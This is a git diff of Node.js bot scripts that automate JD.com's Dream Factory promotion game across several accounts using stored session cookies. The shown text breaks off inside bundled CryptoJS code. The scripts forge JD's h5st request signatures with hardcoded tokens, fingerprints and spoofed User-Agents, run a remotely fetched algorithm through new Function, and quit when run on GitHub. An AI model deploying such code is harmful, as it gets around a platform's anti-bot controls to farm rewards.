jdDreamFactoryShareArr.push(data.user.encryptPin) + + + if (production.investedElectric >= production.needElectric) { + if (production['exchangeStatus'] === 1) //$.log(`\n\n可以兑换商品了`) + if (production['exchangeStatus'] === 3) { + //$.log(`\n\n商品兑换已超时`) + if (new Date().getHours() === 9) { + //$.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}兑换已超时,请选择新商品进行制造`) + if (`${notifyLevel}` === '3' || `${notifyLevel}` === '2') allMessage += `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}兑换已超时,请选择新商品进行制造${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } + } + // await exchangeProNotify() + } else { + //console.log(`\n\n预计最快还需 【${((production.needElectric - production.investedElectric) / (2 * 60 * 60 * 24)).toFixed(2)}天】生产完毕\n\n`) + } + if (production.status === 3) { + //$.log(`\n\n商品生产已失效`) + //$.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}\n【超时未完成】已失效,请选择新商品进行制造`) + //if ($.isNode() && (`${notifyLevel}` === '3' || `${notifyLevel}` === '2')) allMessage += `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}\n【超时未完成】已失效,请选择新商品进行制造${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } + } else { + $.unActive = false;//标记是否开启了京喜活动或者选购了商品进行生产 + if (!data.factoryList) { + //console.log(`【提示】京东账号${$.index}[${$.nickName}]京喜工厂活动未开始\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 开启活动\n`); + } else if (data.factoryList && !data.productionList) { + //console.log(`【提示】京东账号${$.index}[${$.nickName}]京喜工厂未选购商品\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 选购\n`) + let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000); + if (nowTimes.getHours() === 12) { + //如按每小时运行一次,则此处将一天12点推送1次提醒 + //$.msg($.name, '提醒⏰', `京东账号${$.index}[${$.nickName}]京喜工厂未选择商品\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 选择商品`); + //if ($.isNode() && `${notifyLevel}` === '3') allMessage += `京东账号${$.index}[${$.nickName}]京喜工厂未选择商品\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 选择商品${$.index !== cookiesArr.length ? '\n\n' : ''}` + } + } + } + } else { + console.log(`GetUserInfo异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getFactoryIdByPin(pin) { + return new Promise((resolve, reject) => { + // const url = `/dreamfactory/userinfo/GetUserInfoByPin?zone=dream_factory&pin=${pin}&sceneval=2`; + $.get(taskurl('userinfo/GetUserInfoByPin', `pin=${pin}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + if (data.data.factoryList) { + //做此判断,有时候返回factoryList为null + // resolve(data['data']['factoryList'][0]['factoryId']) + $.stealFactoryId = data['data']['factoryList'][0]['factoryId']; + } + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function updateTuanIdsCDN(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, (err, resp, data) => { + try { + if (err) { + // console.log(`${JSON.stringify(err)}`) + } else { + if (safeGet(data)) { + $.tuanConfigs = data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(20000) + resolve(); + }) +} +function requireConfig() { + return new Promise(async resolve => { + //console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + const shareCodes = ''; + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } else { + if ($.getdata('jd_jxFactory')) $.shareCodesArr = $.getdata('jd_jxFactory').split('\n').filter(item => item !== "" && item !== null && item !== undefined); + //console.log(`\nBoxJs设置的${$.name}好友邀请码:${$.getdata('jd_jxFactory')}\n`); + } + //console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1" + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function taskTuanUrl(functionId, body = '', stk) { + let url = `https://m.jingxi.com/dreamfactory/tuan/${functionId}?${body}&_time=${Date.now()}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&_ste=1` + url += `&h5st=${decrypt(Date.now(), stk || '', '', url)}` + if (stk) { + url += `&_stk=${encodeURIComponent(stk)}`; + } + return { + url, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Host": "m.jingxi.com", + "Referer": "https://st.jingxi.com/pingou/dream_factory/divide.html", + "User-Agent": "jdpingou" + } + } +} + +function taskurl(functionId, body = '', stk) { + let url = `${JD_API_HOST}/dreamfactory/${functionId}?zone=dream_factory&${body}&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now() + 2}&_ste=1` + url += `&h5st=${decrypt(Date.now(), stk, '', url)}` + if (stk) { + url += `&_stk=${encodeURIComponent(stk)}`; + } + return { + url, + headers: { + 'Cookie': cookie, + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': functionId === 'AssistFriend' ? "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36" : 'jdpingou', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://wqsd.jd.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + }, + timeout: 10000 + } +} +function newtasksysUrl(functionId, taskId, stk) { + let url = `${JD_API_HOST}/newtasksys/newtasksys_front/${functionId}?source=dreamfactory&bizCode=dream_factory&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now() + 2}&_ste=1`; + if (taskId) { + url += `&taskId=${taskId}`; + } + if (stk) { + url += `&_stk=${stk}`; + } + //传入url进行签名 + url += `&h5st=${decrypt(Date.now(), stk, '', url)}` + return { + url, + "headers": { + 'Cookie': cookie, + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': "jdpingou;iPhone;3.15.2;13.5.1;90bab9217f465a83a99c0b554a946b0b0d5c2f7a;network/wifi;model/iPhone12,1;appBuild/100365;ADID/696F8BD2-0820-405C-AFC0-3C6D028040E5;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/14;pap/JA2015_311210;brand/apple;supportJDSHWK/1;", + 'Accept-Language': 'zh-cn', + 'Referer': 'https://wqsd.jd.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} +/* +修改时间戳转换函数,京喜工厂原版修改 + */ +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + return new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + console.log(`获取签名参数成功!`) + console.log(`fp: ${$.fingerprint}`) + console.log(`token: ${$.token}`) + console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length - 1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +/** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +/** + * 模拟生成 fingerprint + * @returns {string} + */ +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--;) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0, 16) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_dreamFactory_tuan.js b/jd_dreamFactory_tuan.js new file mode 100644 index 0000000..3e6ee6f --- /dev/null +++ b/jd_dreamFactory_tuan.js @@ -0,0 +1,493 @@ +/* +*京喜工厂开团 + +1 0 * * * jd_dreamFactory_tuan.js + +* 若5人成团,则5个CK能成团一次,9个CK能成团两次,13个CK能成团三次 +* */ +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 